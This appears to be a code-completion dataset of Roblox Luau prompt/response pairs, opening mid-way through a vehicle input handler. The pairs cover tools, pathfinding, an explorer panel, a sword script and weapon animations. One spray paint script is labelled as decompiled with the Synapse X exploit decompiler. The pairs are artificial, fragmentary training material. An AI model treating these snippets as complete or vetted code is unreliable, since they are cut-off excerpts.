					_GSteerT = -1
					_SteerL = true
				else
					if _SteerR then
						_GSteerT = 1
					else
						_GSteerT = 0
					end
					_SteerL = false
				end

			--Steer Right
			elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then
				if input.UserInputState == Enum.UserInputState.Begin then
					_GSteerT = 1
					_SteerR = true
				else
					if _SteerL then
						_GSteerT = -1
					else
						_GSteerT = 0
					end
					_SteerR = false
				end

			--Toggle Mouse Controls
			elseif input.KeyCode ==_CTRL["ToggleMouseDrive"] then
				if input.UserInputState == Enum.UserInputState.End then
					_MSteer = not _MSteer
					_GThrot = _Tune.IdleThrottle/100
					_GBrake = 0
					_GSteerT = 0
					_ClutchOn = true
				end

			--Toggle TCS
			elseif  _Tune.TCSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleTCS"] or input.KeyCode == _CTRL["ContlrToggleTCS"] then
				if input.UserInputState == Enum.UserInputState.End then
					if script.Parent.DriveMode.Value ~= "SportPlus" then
						_TCS = not _TCS
					end
				end

			--Toggle ABS
			elseif  _Tune. ABSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleABS"] or input.KeyCode == _CTRL["ContlrToggleABS"] then
				if input.UserInputState == Enum.UserInputState.End then
					_ABS = not _ABS
				end
			end

			--Variable Controls
			if input.UserInputType.Name:find("Gamepad") then
				--Gamepad Steering
				if input.KeyCode == _CTRL["ContlrSteer"] then
					if input.Position.X>= 0 then
						local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100)
						if math.abs(input.Position.X)>cDZone then
							_GSteerT = (input.Position.X-cDZone)/(1-cDZone)
						else
							_GSteerT = 0
						end
					else
						local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100)
						if math.abs(input.Position.X)>cDZone then
							_GSteerT = (input.Position.X+cDZone)/(1-cDZone)
						else
							_GSteerT = 0
						end
					end

				--Gamepad Throttle
				elseif _IsOn and input.KeyCode == _CTRL["ContlrThrottle"] then
					_GThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z)

				--Gamepad Brake
				elseif input.KeyCode == _CTRL["ContlrBrake"] then
					_GBrake = input.Position.Z
				end
			end
		else
			_GThrot = _Tune.IdleThrottle/100
			_GSteerT = 0
			_GBrake = 0
			if _CGear~=0 then _ClutchOn = true end
		end
	end
	UserInputService.InputBegan:connect(DealWithInput)
	UserInputService.InputChanged:connect(DealWithInput)
	UserInputService.InputEnded:connect(DealWithInput)


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
print("--[[ LawlR Fix - Spray Paint ]]--");
local l__Players__1 = game:GetService("Players");
local l__Parent__2 = script.Parent;
local l__LocalPlayer__3 = l__Players__1.LocalPlayer;
local l__mouse__1 = l__LocalPlayer__3:GetMouse();
local u2 = l__LocalPlayer__3;
local u3 = l__LocalPlayer__3.PlayerGui;
local u4 = nil;
local l__SprayGui__5 = l__Parent__2:WaitForChild("SprayGui");
local u6 = nil;
local u7 = nil;
local u8 = "80373023";
local u9 = nil;
l__Parent__2.Equipped:Connect(function()
	u2 = l__Players__1:GetPlayerFromCharacter(l__Parent__2.Parent);
	u3 = u2.PlayerGui;
	u4 = l__SprayGui__5:Clone();
	u6 = u4.Frame.Frame.TextBox;
	u7 = u4.Frame.ImageLabel;
	u6.Text = u8;
	u7.Image = "rbxassetid://" .. u8;
	if u9 then
		u9:Disconnect();
	end;
	u7.Image = "https://www.roblox.com/asset-thumbnail/image?assetId=" .. u6.Text .. "&width=420&height=420&format=png";
	u9 = u6:GetPropertyChangedSignal("Text"):Connect(function()
		u7.Image = "https://www.roblox.com/asset-thumbnail/image?assetId=" .. u6.Text .. "&width=420&height=420&format=png";
	end);
	u4.Parent = u3;
	if l__Parent__2.Enabled then
		local v4 = "rbxasset://textures\\GunCursor.png";
	else
		v4 = "rbxasset://textures\\GunWaitCursor.png";
	end;
	l__mouse__1.Icon = v4;
end);
l__Parent__2.Unequipped:Connect(function()
	l__mouse__1.Icon = "";
	u8 = u6.Text;
	u4:Destroy();
end);
l__Parent__2:GetPropertyChangedSignal("Enabled"):Connect(function()
	local l__Parent__5 = l__Parent__2.Parent;
	if l__Parent__5 and l__Parent__5:IsA("Model") then
		if l__Parent__2.Enabled then
			local v6 = "rbxasset://textures\\GunCursor.png";
		else
			v6 = "rbxasset://textures\\GunWaitCursor.png";
		end;
		l__mouse__1.Icon = v6;
	end;
end);
l__Parent__2.RemoteFunction.OnClientInvoke = function()
	return l__mouse__1.Hit, l__mouse__1.TargetSurface, l__mouse__1.Target, u6.Text;
end;


Prompt:
-------------------------------------------------------------------------------
-- API:

Response:
function API:FindPath(pointA, pointB)
	local points = {}
	local paths = {}
	local path
	local tooLong = false
	repeat
		path = pathfindingService:ComputeRawPathAsync(pointA, pointB, 500)
		table.insert(paths, path)
		if (path.Status ~= Enum.PathStatus.FailStartNotEmpty and path.Status ~= Enum.PathStatus.FailFinishNotEmpty) then
			for _,pt in pairs(path:GetPointCoordinates()) do
				table.insert(points, pt)
			end
			if (path.Status == Enum.PathStatus.ClosestOutOfRange) then
				pointA = points[#points]
				if (#paths >= MAX_PATHS) then
					tooLong = true
					break
				end
			end
		end
	until (path.Status ~= Enum.PathStatus.ClosestOutOfRange)
	if (#points > 2) then
		points = SimplifyPointsStraight(SimplifyPointsDiagonal(points))
	end
	return CreatePathObject(paths, points, (tooLong and Enum.PathStatus.ClosestOutOfRange or path.Status))
end

function API:SetEmptyCutoff(emptyCutoff)
	pathfindingService.EmptyCutoff = emptyCutoff
end


Prompt:
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---- Option Bindables

Response:
do
	local optionCallback = {
		Modifiable = function(value)
			for i = 1,#actionButtons do
				actionButtons[i].Obj.Visible = value and Option.Selectable
			end
			cancelReparentDrag()
		end;
		Selectable = function(value)
			for i = 1,#actionButtons do
				actionButtons[i].Obj.Visible = value and Option.Modifiable
			end
			cancelSelectDrag()
			Selection:Set({})
		end;
	}

	local bindSetOption = explorerPanel:FindFirstChild("SetOption")
	if not bindSetOption then
		bindSetOption = Create('BindableFunction',{Name = "SetOption"})
		bindSetOption.Parent = explorerPanel
	end

	bindSetOption.OnInvoke = function(optionName,value)
		if optionCallback[optionName] then
			Option[optionName] = value
			optionCallback[optionName](value)
		end
	end

	local bindGetOption = explorerPanel:FindFirstChild("GetOption")
	if not bindGetOption then
		bindGetOption = Create('BindableFunction',{Name = "GetOption"})
		bindGetOption.Parent = explorerPanel
	end

	bindGetOption.OnInvoke = function(optionName)
		if optionName then
			return Option[optionName]
		else
			local options = {}
			for k,v in pairs(Option) do
				options[k] = v
			end
			return options
		end
	end
end

function SelectionVar()
	return Selection
end

Input.InputBegan:connect(function(key)
	if key.KeyCode == Enum.KeyCode.LeftControl then
		HoldingCtrl = true
	end
	if key.KeyCode == Enum.KeyCode.LeftShift then
		HoldingShift = true
	end
end)

Input.InputEnded:connect(function(key)
	if key.KeyCode == Enum.KeyCode.LeftControl then
		HoldingCtrl = false
	end
	if key.KeyCode == Enum.KeyCode.LeftShift then
		HoldingShift = false
	end
end)

while RbxApi == nil do
	RbxApi = GetApiRemote:Invoke()
	wait()
end

explorerFilter.Changed:connect(function(prop)
	if prop == "Text" then
		Selection.Finding = true
		rawUpdateList()
	end
end)

explorerFilter.FocusLost:connect(function()
	if explorerFilter.Text == "" then
		if Selection.Found[1] then
			scrollBar:ScrollTo(NodeLookup[Selection.Found[1]].Index)
		end

		Selection.Finding = false
		Selection.Found = {}
	end
end)

CurrentInsertObjectWindow = CreateInsertObjectMenu(
	GetClasses(),
	"",
	false,
	function(option)
		CurrentInsertObjectWindow.Visible = false
		local list = SelectionVar():Get()
		for i = 1,#list do
			RemoteEvent:InvokeServer("InstanceNew", option, list[i])
		end
		DestroyRightClick()
	end
)


Prompt: --script.Parent:Destroy()

Response:
r=script.Parent
script:WaitForChild'To'
pos=script.Parent.CFrame
g,p=r:FindFirstChild'bg'or script.bg,r:FindFirstChild'bp'or script.bp
g.Parent,p.Parent=r,r
p.position=r.Position
function got(t)
if t:IsDescendantOf(workspace.Pick)then
	if t.Parent.Name=='Mod'then
	r.Parent=t.Parent
	script.To.Value=workspace.Finish
	else
	local m=Instance.new('Model',workspace.Pick)
	r.Parent,t.Parent=m,m
	m.Name='Mod'
	end
	local w=Instance.new('Weld',r)
	w.Part0=r
	w.Part1=t
	w.C0=CFrame.new(0,0,-r.Size.Z/2-.1)
	w.C1=CFrame.new(0,0,t.Size.Z/2)
elseif r.Parent.Name=='Mod'then
r.Parent:Destroy()script.Disabled=true
r:Destroy()script:Destroy()
return true
else
script.Disabled=true
r:Destroy()script:Destroy()
return true
end
end
wait(.1)
local rss=script.To.Value.Parent
while 1 do if script.To.Value and script.To.Value.Parent and script.To.Value.Parent==rss then
path=game:GetService'PathfindingService':ComputeRawPathAsync(pos.p,script.To.Value.Position,100)--wait(2)
s2=path:GetPointCoordinates()[2]or path:GetPointCoordinates()[1]
a,b=workspace:FindPartOnRay(Ray.new(pos.p,Vector3.new(0,-6)),r.Parent)
w=0
repeat w=w+1
if s2 then
local cf=CFrame.new(pos.p,s2)
pos=cf*CFrame.new(0,0,-.3)
a,b=workspace:FindPartOnRay(Ray.new(pos.p,Vector3.new(0,-6)),r.Parent)
p.position=Vector3.new(pos.X,b.Y+.3,pos.Z)
g.cframe=r.Velocity.magnitude>.5 and CFrame.new(r.Position,r.Position+r.Velocity)or g.cframe
if(Vector3.new(r.Position.X,0,r.Position.Z)-Vector3.new(pos.X,0,pos.Z)).magnitude>3 then
r.CFrame=r.CFrame-r.Position+Vector3.new(pos.X,b.Y+.3,pos.Z)
end
else break end
wait()until(r.Position-Vector3.new(s2.X,b.y,s2.Z)).magnitude<1 or(r.Position-Vector3.new(s2.X,b.y,s2.Z)).magnitude>6 or w>20
if script.To.Value and(r.Position-script.To.Value.Position).magnitude<8 then if got(script.To.Value)then break end end
else script.To.Value,rss=workspace.Finish,workspace wait()
end end


Prompt: -- Animate

Response:
playAnimation.OnServerEvent:Connect(function(player, animation, speed)
	local animation = player.Character:WaitForChild("Humanoid"):LoadAnimation(animation)
	animation:Play()
	animation:AdjustSpeed(speed)

	tool.Unequipped:Connect(function()
		animation:Stop()
	end)
end)


Prompt: -- TODO Luau: annoying type erasure here, probably needs the new Records language feature

Response:
function Map:set(key: any, value: any): Map<any, any>
	-- preserve initial insertion order
	if self._map[key] == nil then
		-- Luau FIXME: analyze should know self is Map<K, V> which includes size as a number
		self.size = self.size :: number + 1
		table.insert(self._array, key)
	end
	-- always update value
	self._map[key] = value
	return self
end

function Map:get(key)
	return self._map[key]
end

function Map:clear()
	local table_: any = table
	self.size = 0
	table_.clear(self._map)
	table_.clear(self._array)
end

function Map:delete(key): boolean
	if self._map[key] == nil then
		return false
	end
	-- Luau FIXME: analyze should know self is Map<K, V> which includes size as a number
	self.size = self.size :: number - 1
	self._map[key] = nil
	local index = table.find(self._array, key)
	if index then
		table.remove(self._array, index)
	end
	return true
end


Prompt: --Rescripted by Luckymaxer

Response:
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")

Players = game:GetService("Players")

Sounds = {
	CoilSound = Handle:WaitForChild("CoilSound"),
}

Gravity = 196.20
JumpHeightPercentage = 0.2

ToolEquipped = false

function GetAllConnectedParts(Object)
	local Parts = {}
	local function GetConnectedParts(Object)
		for i, v in pairs(Object:GetConnectedParts()) do
			local Ignore = false
			for ii, vv in pairs(Parts) do
				if v == vv then
					Ignore = true
				end
			end
			if not Ignore then
				table.insert(Parts, v)
				GetConnectedParts(v)
			end
		end
	end
	GetConnectedParts(Object)
	return Parts
end

function SetGravityEffect()
	if not GravityEffect or not GravityEffect.Parent then
		GravityEffect = Instance.new("BodyForce")
		GravityEffect.Name = "GravityCoilEffect"
		GravityEffect.Parent = Torso
	end
	local TotalMass = 0
	local ConnectedParts = GetAllConnectedParts(Torso)
	for i, v in pairs(ConnectedParts) do
		if v:IsA("BasePart") then
			TotalMass = (TotalMass + v:GetMass())
		end
	end
	local TotalMass = (TotalMass * 196.20 * (1 - JumpHeightPercentage))
	GravityEffect.force = Vector3.new(0, TotalMass, 0)
end

function HandleGravityEffect(Enabled)
	if not CheckIfAlive() then
		return
	end
	for i, v in pairs(Torso:GetChildren()) do
		if v:IsA("BodyForce") then
			v:Destroy()
		end
	end
	for i, v in pairs({ToolUnequipped, DescendantAdded, DescendantRemoving}) do
		if v then
			v:disconnect()
		end
	end
	if Enabled then
		CurrentlyEquipped = true
		ToolUnequipped = Tool.Unequipped:connect(function()
			CurrentlyEquipped = false
		end)
		SetGravityEffect()
		DescendantAdded = Character.DescendantAdded:connect(function()
			wait()
			if not CurrentlyEquipped or not CheckIfAlive() then
				return
			end
			SetGravityEffect()
		end)
		DescendantRemoving = Character.DescendantRemoving:connect(function()
			wait()
			if not CurrentlyEquipped or not CheckIfAlive() then
				return
			end
			SetGravityEffect()
		end)
	end
end

function CheckIfAlive()
	return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end

function Equipped(Mouse)
	Character = Tool.Parent
	Humanoid = Character:FindFirstChild("Humanoid")
	Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso")
	Player = Players:GetPlayerFromCharacter(Character)
	if not CheckIfAlive() then
		return
	end
	if HumanoidDied then
		HumanoidDied:disconnect()
	end
	HumanoidDied = Humanoid.Died:connect(function()
		if GravityEffect and GravityEffect.Parent then
			GravityEffect:Destroy()
		end
	end)
	Sounds.CoilSound:Play()
	HandleGravityEffect(true)
	ToolEquipped = true
end

function Unequipped()
	if HumanoidDied then
		HumanoidDied:disconnect()
	end
	HandleGravityEffect(false)
	ToolEquipped = false
end

Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)


Prompt:
--- Makes the Maid clean up when the instance is destroyed
-- @param Instance Instance The Instance the Maid will wait for to be Destroyed
-- @returns Disconnectable table to stop Maid from being cleaned up upon Instance Destroy (automatically cleaned up by Maid, btw)
-- @author Corecii

Response:
local Disconnect = {Connected = true}
Disconnect.__index = Disconnect
function Disconnect:Disconnect()
	self.Connected = false
	self.Connection:Disconnect()
end

function Maid:LinkToInstance(Object)
	local Reference = Instance.new("ObjectValue")
	Reference.Value = Object
	-- ObjectValues have weak-like Instance references
	-- If the Instance can no longer be accessed then it can be collected despite
	-- the ObjectValue having a reference to it
	local ManualDisconnect = setmetatable({}, Disconnect)
	local Connection
	local function ChangedFunction(Obj, Par)
		if not Reference.Value then
			ManualDisconnect.Connected = false
			return self:DoCleaning()
		elseif Obj == Reference.Value and not Par then
			Obj = nil
			wait()	-- Push further execution of this script to the end of the current execution cycle.
					-- This is needed because when the event first runs it's always still Connected.
			-- The object may have been reparented or the event manually disconnected or disconnected and ran in that time...
			if (not Reference.Value or not Reference.Value.Parent) and ManualDisconnect.Connected then
				if not Connection.Connected then
					ManualDisconnect.Connected = false
					return self:DoCleaning()
				else
					-- Since this event won't fire if the instance is destroyed while in nil, we have to check
					--  often to make sure it's not destroyed. Once it's parented outside of nil we can stop doing
					--  this. We also must check to make sure it wasn't manually disconnected or disconnected and ran.
					while wait(0.2) do
						if not ManualDisconnect.Connected then
							-- Don't run func, we were disconnected manually
							return
						elseif not Connection.Connected then
							-- Otherwise, if we're disconnected it's because instance was destroyed
							ManualDisconnect.Connected = false
							return self:DoCleaning()
						elseif Reference.Value.Parent then
							-- If it's still Connected then it's not destroyed. If it has a parent then
							--  we can quit checking if it's destroyed like this.
							return
						end
					end
				end
			end
		end
	end
	Connection = Object.AncestryChanged:Connect(ChangedFunction)
	ManualDisconnect.Connection = Connection
	Object = nil
	-- If the object is currently in nil then we need to start our destroy checking loop
	-- We need to spawn a new Roblox Lua thread right now before any other code runs.
	--  spawn() starts it on the next cycle or frame, coroutines don't have ROBLOX's coroutine.yield handler
	--  The only option left is BindableEvents, which run as soon as they are called and use ROBLOX's yield
	local QuickRobloxThreadSpawner = Instance.new("BindableEvent")
	QuickRobloxThreadSpawner.Event:Connect(ChangedFunction)
	QuickRobloxThreadSpawner:Fire(Reference.Value, Reference.Value.Parent)
	QuickRobloxThreadSpawner:Destroy()
	self._Tasks[#self._Tasks + 1] = ManualDisconnect -- Give Task to Maid, cleanup this Connection upon cleanup
	return ManualDisconnect
end


Prompt: -- ROBLOX deviation: used to communicate with the TestEZ test runner

Response:
local JEST_TEST_CONTEXT = "__JEST_TEST_CONTEXT__"

local LuauPolyfill = require(Packages.LuauPolyfill)
local Error = LuauPolyfill.Error
local instanceof = LuauPolyfill.instanceof
local AssertionError = LuauPolyfill.AssertionError

local getType = require(Packages.JestGetType).getType


Prompt:
--F.brakeLights = function(Tog)
--	for i,v in pairs(script.Parent.Parent.Parent:getChildren()) do
--		if v:FindFirstChild('Brake') then
--			v.Braking.Enabled = (carSeat.Ignition.Value == 1 and Tog or false)
--			v.Lights.Enabled = (carSeat.Ignition.Value == 1 and Tog or false)
--		end
--	end
--end


Prompt: --Precalculated paths

Response:
local t,f,n=true,false,{}
local r={
[58]={{66,19,20,58},t},
[49]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{66,19},t},
[59]={{66,19,20,57,56,30,41,59},t},
[63]={{66,19,63},t},
[34]={{66,19,20,57,56,30,41,39,35,34},t},
[21]={{66,19,20,21},t},
[48]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48},t},
[27]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,27},t},
[14]={n,f},
[31]={{66,19,20,57,56,30,41,39,35,34,32,31},t},
[56]={{66,19,20,57,56},t},
[29]={{66,19,20,57,56,30,41,39,35,34,32,31,29},t},
[13]={n,f},
[47]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45},t},
[57]={{66,19,20,57},t},
[36]={{66,19,20,57,56,30,41,39,35,37,36},t},
[25]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,27,26,25},t},
[71]={{66,19,20,57,56,30,41,59,61,71},t},
[20]={{66,19,20},t},
[60]={{66,19,20,57,56,30,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{66,19,20,57,56,30,41,59,61,71,72,76,73,75},t},
[22]={{66,19,20,21,22},t},
[74]={{66,19,20,57,56,30,41,59,61,71,72,76,73,74},t},
[62]={{66,19,63,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{66,19,20,57,56,30,41,39,35,37},t},
[2]={n,f},
[35]={{66,19,20,57,56,30,41,39,35},t},
[53]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{66,19,20,57,56,30,41,59,61,71,72,76,73},t},
[72]={{66,19,20,57,56,30,41,59,61,71,72},t},
[33]={{66,19,20,57,56,30,41,39,35,37,36,33},t},
[69]={{66,19,20,57,56,30,41,60,69},t},
[65]={{66,64,65},t},
[26]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,27,26},t},
[68]={{66,64,67,68},t},
[76]={{66,19,20,57,56,30,41,59,61,71,72,76},t},
[50]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{66},t},
[10]={n,f},
[24]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,27,26,25,24},t},
[23]={{66,19,63,62,23},t},
[44]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44},t},
[39]={{66,19,20,57,56,30,41,39},t},
[32]={{66,19,20,57,56,30,41,39,35,34,32},t},
[3]={n,f},
[30]={{66,19,20,57,56,30},t},
[51]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{66,64,67},t},
[61]={{66,19,20,57,56,30,41,59,61},t},
[55]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{66,19,20,57,56,30,41,39,40,38,42},t},
[40]={{66,19,20,57,56,30,41,39,40},t},
[52]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{66,19,20,57,56,30,41},t},
[17]={n,f},
[38]={{66,19,20,57,56,30,41,39,40,38},t},
[28]={{66,19,20,57,56,30,41,39,35,34,32,31,29,28},t},
[5]={n,f},
[64]={{66,64},t},
}
return r


Prompt:
--[[Instructions:
   Put this script IN A BRICK! Then in the same brick insert a ClickDetector, Follow the instructions below]]

Response:
function onClicked()

script.Parent.BodyGyro.maxTorque = Vector3.new(4e+009, 0, 4e+009)
wait(5)
script.Parent.BodyGyro.maxTorque = Vector3.new(0, 0, 0)

end
  script.Parent.ClickDetector.MouseClick:connect(onClicked)


Prompt: --END OF CONFIGURABLE OPTIONS--

Response:
r = game:service("RunService")

function candamage(myteam,theirteam)
	if myteam ~= theirteam or (myteam == black and theirteam == black) then
		return true
	else
		return false
	end
end

local acceptableparts = {
	"Head"; "Left Arm"; "Left Leg"; "Right Arm"; "Right Leg"; "Torso";
}

function matches(partname)
	for i,v in pairs(acceptableparts) do
		if partname == v then
			return true
		end
	end
	return false
end

local damage = 5
local slash_damage = 9
local lunge_damage = 18

sword = script.Parent.Handle
Tool = script.Parent

local SlashSound = sword.SlashSound

local LungeSound = sword.LungeSound

local UnsheathSound = sword.UnsheathSound

function blow(hit)
	if (hit.Parent == nil) then return end

	if matches(hit.Name) then

	local humanoid = hit.Parent:findFirstChild("Humanoid")
	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)
	local hum = vCharacter:findFirstChild("Humanoid")
	if humanoid and humanoid ~= hum and hum then
		-- final check, make sure sword is in-hand
		local guygettingsliced = game.Players:GetPlayerFromCharacter(hit.Parent) --OH LOOK, here's an edit
		local right_arm = vCharacter:FindFirstChild("Right Arm")
		if (right_arm) then
			local joint = right_arm:FindFirstChild("RightGrip")
			if (joint and (joint.Part0 == sword or joint.Part1 == sword)) then
				if guygettingsliced then --If he's a player
					if candamage(vPlayer.TeamColor, guygettingsliced.TeamColor) == true then
						tagHumanoid(humanoid, vPlayer)
						humanoid:TakeDamage(damage)
						wait(1)
						untagHumanoid(humanoid)
					end
				else --If he's not a player (AI, shop, etc)
					tagHumanoid(humanoid, vPlayer)
					humanoid:TakeDamage(damage)
					wait(1)
					untagHumanoid(humanoid)
				end
			end
		end

	end

	end
end

function tagHumanoid(humanoid, player)
	local creator_tag = Instance.new("ObjectValue")
	creator_tag.Value = player
	creator_tag.Name = "creator"
	creator_tag.Parent = humanoid
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild("creator")
		if tag ~= nil then
			tag.Parent = nil
		end
	end
end

function attack()
	damage = slash_damage
	SlashSound:play()
	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Slash"
	anim.Parent = Tool
end

function lunge()
	damage = lunge_damage

	LungeSound:play()

	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Lunge"
	anim.Parent = Tool

	wait(.1)
	swordOut()
	wait(.75)
	swordUp()

	damage = slash_damage
end

function swordUp()
	Tool.GripForward = Vector3.new(-1,0,0)
	Tool.GripRight = Vector3.new(0,1,0)
	Tool.GripUp = Vector3.new(0,0,1)
end

function swordOut()
	Tool.GripForward = Vector3.new(0,0,1)
	Tool.GripRight = Vector3.new(0,-1,0)
	Tool.GripUp = Vector3.new(-1,0,0)
end

function swordAcross()
	-- parry
end

Tool.Enabled = true
local last_attack = 0
function onActivated()

	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print("Humanoid not found")
		return
	end

	t = r.Stepped:wait()

	if (t - last_attack < .2) then
		lunge()
	else
		attack()
	end

	last_attack = t

	--wait(.5)

	Tool.Enabled = true
end

function onEquipped()
	UnsheathSound:play()
end

script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)

connection = sword.Touched:connect(blow)


Response:
local person = script.Parent.Parent
local cam = game.Workspace.CurrentCamera

repeat wait() until game.Workspace:findFirstChild(person.Name)~=nil
repeat wait() until game.Workspace:findFirstChild(person.Name):findFirstChild("Head")~=nil
local theperson = game.Workspace:findFirstChild(person.Name)


Prompt: --// Animations

Response:
	-- Idle Anim
	IdleAnim = function(char, speed, objs)
		TweenJoint(objs[2],  nil , CFrame.new(-0.902175903, 0.295501232, -1.07592201, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25)
		TweenJoint(objs[3],  nil , CFrame.new(-0.0318467021, -0.0621779114, -1.67288721, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25)
		wait(0.18)
	end;

	-- FireMode Anim
	FireModeAnim = function(char, speed, objs)
		TweenJoint(objs[1],  nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25)
		wait(0.1)
		TweenJoint(objs[2],  nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25)
		wait(0.25)
		objs[4]:WaitForChild("Click"):Play()
	end;

ReloadAnim = function(char, speed, objs)
		TweenJoint(objs[2],  nil , CFrame.new(-0.630900264, 0.317047596, -0.925605714, 0.943481922, -0.331423789, -1.44869938e-08, -0.042034246, -0.119661212, 0.991924584, -0.328747362, -0.935862958, -0.126829356), function(X) return math.sin(math.rad(X)) end, 0.35)
		TweenJoint(objs[3],  nil , CFrame.new(0.405375004, -0.233725294, -1.44567418, 0.761196971, -0.424591213, 0.490205526, -0.620885074, -0.258818865, 0.739942133, -0.187298462, -0.867603123, -0.46063453), function(X) return math.sin(math.rad(X)) end, 0.55)
		wait(0.50)

		local MagC = Tool:WaitForChild("Mag"):clone()
		MagC:FindFirstChild("Mag"):Destroy()
		MagC.Parent = Tool
		MagC.Name = "MagC"
		local MagCW = Instance.new("Motor6D")
		MagCW.Part0 = MagC
		MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
		MagCW.Parent = MagC
		MagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame)
		objs[4].Transparency = 1

		objs[6]:WaitForChild("MagOut"):Play()

		TweenJoint(objs[2],  nil , CFrame.new(-0.630900264, 0.317047596, -0.925605714, 0.943481922, -0.331423789, -1.44869938e-08, -0.028292872, -0.0805428922, 0.996349573, -0.330213875, -0.940037787, -0.0853677094), function(X) return math.sin(math.rad(X)) end, 0.3)
		TweenJoint(objs[3],  nil , CFrame.new(-0.156925201, 0.237828791, -2.37349248, 0.761196971, -0.424591213, 0.490205526, -0.441838264, 0.213773638, 0.871251822, -0.47471875, -0.879785895, -0.0248768628), function(X) return math.sin(math.rad(X)) end, 0.34)
		wait(0.30)
		objs[6]:WaitForChild("MagFall"):Play()
		wait(0.30)
		objs[6]:WaitForChild("MagIn"):Play()
		TweenJoint(objs[2],  nil , CFrame.new(-0.630900264, 0.317047596, -0.925605714, 0.943481922, -0.331423789, -1.44869938e-08, -0.042034246, -0.119661212, 0.991924584, -0.328747362, -0.935862958, -0.126829356), function(X) return math.sin(math.rad(X)) end, 0.35)
		TweenJoint(objs[3],  nil , CFrame.new(0.405375004, -0.233725294, -1.44567418, 0.761196971, -0.424591213, 0.490205526, -0.620885074, -0.258818865, 0.739942133, -0.187298462, -0.867603123, -0.46063453), function(X) return math.sin(math.rad(X)) end, 0.4)
		wait(0.5)

		objs[4].Transparency = 0
		MagC:Destroy()
	end;

	-- Bolt Anim
		BoltBackAnim = function(char, speed, objs)
			TweenJoint(objs[3],  nil , CFrame.new(-0.603950977, 0.518400908, -1.07592201, 0.984651804, 0.174530268, -2.0812525e-09, 0.0221636202, -0.125041038, 0.991903961, 0.173117265, -0.97668004, -0.12699011), function(X) return math.sin(math.rad(X)) end, 0.25)
			wait(0.1)
			TweenJoint(objs[2],  nil , CFrame.new(-0.333807141, -0.492658436, -1.55705214, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25)
			wait(0.1)
			objs[5]:WaitForChild("BoltBack"):Play()
			TweenJoint(objs[2],  nil , CFrame.new(-0.333807141, -0.609481037, -1.02827215, 0.140073985, -0.978677034, -0.150234282, -0.955578506, -0.173358306, 0.238361627, -0.259323537, 0.110172354, -0.959486008), function(X) return math.sin(math.rad(X)) end, 0.25)
			TweenJoint(objs[1],  nil , CFrame.new(0, 0, 0.510707675, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25)

			wait(0.25)
		end;

		BoltForwardAnim = function(char, speed, objs)
			objs[5]:WaitForChild("BoltForward"):Play()
			TweenJoint(objs[1],  nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
